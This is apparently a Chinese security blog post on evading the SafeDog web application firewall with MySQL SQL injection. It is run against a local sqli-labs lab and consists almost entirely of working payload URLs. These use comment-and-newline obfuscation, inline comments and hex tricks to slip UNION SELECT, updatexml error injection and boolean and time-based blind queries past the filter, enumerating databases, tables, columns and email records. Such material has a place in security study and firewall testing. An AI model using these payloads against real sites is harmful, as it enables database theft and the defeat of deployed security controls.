警告
本文最后更新于 2019-10-10,文中内容可能已过时。
日狗
安全狗不让基本运算符后跟数字字符串
特殊运算符绕
1
2
3
4
| http://172.16.1.157/sql/Less-1/?id=1'and -1=-1 -- + 正常
http://172.16.1.157/sql/Less-1/?id=1'and -1=-2 -- + 不正常
http://172.16.1.157/sql/Less-1/?id=1'and ~1=~1 -- + 正常
http://172.16.1.157/sql/Less-1/?id=1'and ~1=~2 -- + 不正常
|
16进制绕
1
2
3
4
5
6
| http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <> 0x1-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <> 0x0-- + 不正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <=> 0x0-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 <=> 0x1-- + 不正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 xor 0x1-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and 0x0 xor 0x0-- + 不正常
|
BINARY绕
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and BINARY 1-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and BINARY 0-- + 不正常
|
conv()函数绕
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and CONV(1,11,2)-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and CONV(0,11,2)-- + 不正常
|
concat()函数绕
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and CONCAT(1)-- + 正常
http://172.16.1.157/sql/Less-1/?id=1' and CONCAT(0)-- + 不正常
|
绕order by
内联
1
| http://172.16.1.157/sql/Less-1/?id=1'/*!14440order by*/ 3 -- +
|
注释换行
1
| http://172.16.1.157/sql/Less-1/?id=1'order%23%0aby 3 -- +
|
关键在于打乱union select
内联
1
| http://172.16.1.157/sql/Less-1/?id=-1' /*!14440union*//*!14440select */1,2,3 -- +
|
注释后跟垃圾字符换行
1
| http://172.16.1.157/sql/Less-1/?id=-1'union%23hhh%0aselect 1,2,3--+
|
union distinct | distinctrow | all
1
2
3
| http://172.16.1.157/sql/Less-1/?id=-1' union distinct %23%0aselect 1,2,3 -- +
http://172.16.1.157/sql/Less-1/?id=-1' union distinctrow %23%0aselect 1,2,3 -- +
http://172.16.1.157/sql/Less-1/?id=-1' union all%23%0aselect 1,2,3 -- +
|
接下来是查数据,我在这使用注释垃圾字符换行
也就是%23a%0a
的方法来绕,你可以用上面说的/*!14440*/
内联
查当前数据库名
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23chabug%0a select 1,database%23%0a(%0a),3 -- +
|
查其他库名 安全狗4.0默认没开information_schema防护的时候可以过,开了information_schema防护之后绕不过去,哭唧唧😭
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select schema_name from %23%0ainformation_schema.schemata limit 1,1),3 -- +
|
查表名
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select table_name from %23%0ainformation_schema.tables where table_schema=database(%23%0a) limit 1,1),3 -- +
|
查列名,首先是没开information_schema防护时
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a select 1,(select column_name from %23%0a information_schema.columns where table_name=0x7573657273 and%23a%0a table_schema=database(%23%0a) limit 1,1),3 -- +
|
开information_schema防护有两种姿势,不过需要知道表名
一、子查询
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a SELECT 1,2,x.2 from %23a%0a(SELECT * from %23a%0a (SELECT 1)a, (SELECT 2)b union %23a%0aSELECT *from %23a%0aemails)x limit 2,1 -- +
|
二、用join和using爆列名,前提是页面可以报错,需要已知表名
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b) c) -- +
|
![https://y4er.com/img/uploads/20191011213824.png]()
然后通过using来继续爆
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b using(id)) c) -- +
|
![https://y4er.com/img/uploads/20191011213910.png]()
查数据
1
| http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select email_id from%23a%0a emails limit 1,1) -- +
|
其实配合MySQL5.7的特性可以使用sys这个库来绕过,具体看chabug发的文章吧 注入bypass之捶狗开锁破盾
在下文中不再提及开启information_schema防护的绕过姿势,自行举一反三。
报错注入只提及updatexml报错
关键在于updatexml()结构打乱
1
2
| and updatexml(1,1,1 不拦截
and updatexml(1,1,1) 拦截
|
不让updatexml匹配到两个括号就行了
用户名 库名
1
2
| http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
|
库名
1
| http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select schema_name from %23a%0a information_schema.schemata limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
|
表名
1
| http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select table_name from %23a%0a information_schema.tables where table_schema=database(/*!)*/ limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
|
列名
1
| http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select column_name from %23a%0a information_schema.columns where table_schema=database(/*!)*/ and %23a%0atable_name=0x7573657273 limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
|
查数据
1
| http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select email_id from %23a%0a emails limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
|
分布尔盲注和时间盲注来说吧
不让他匹配完整括号对
使用left()或者right()
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and hex(LEFT(user(/*!)*/,1))=%23a%0a72 -- +
http://172.16.1.157/sql/Less-1/?id=1' and hex(right(user(/*!)*/,1))=%23a%0a72 -- +
|
使用substring() substr()
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +
http://172.16.1.157/sql/Less-1/?id=1' and hex(substr(user(/*!)*/,1,1))=72 -- +
|
查表名
1
| http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTR((select table_name from %23a%0a information_schema.tables where table_schema=%23a%0adatabase%23a%0a(/*!)*/ limit 0,1),1,1))=65-- +
|
列名字段名同理,略
不匹配成对括号
sleep()绕过
1
| http://172.16.1.157/sql/Less-1/?id=1' and sleep(3/*!)*/-- +
|
查用户
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left(user(/*!)*/,1/*!)*/=char(114),sleep(3/*!)*/,1/*!)*/ -- +
http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left(user(/*!)*/,1/*!)*/=0x72,sleep(3/*!)*/,1/*!)*/ -- +
|
查数据 limit过不了
1
| http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left((select group_concat(table_name/*!)*/ from%23a%0ainformation_schema.tables where table_schema=database(/*!)*/ /*!)*/,1/*!)*/=0x65,sleep(5/*!)*/,1/*!)*/ -- +
|
length()长度
1
2
| http://172.16.1.157/sql/Less-1/?id=1' and length(1)<=>1 -- +
http://172.16.1.157/sql/Less-1/?id=1' and length(database(/*!))*/<=>8 -- +
|
count()
1
| http://172.16.1.157/sql/Less-1/?id=1' and (%23a%0aselect count(password/*!)*/ from %23a%0a users/*!)*/<=>13 -- +
|
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
https://www.chabug.org/web/1019.html
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。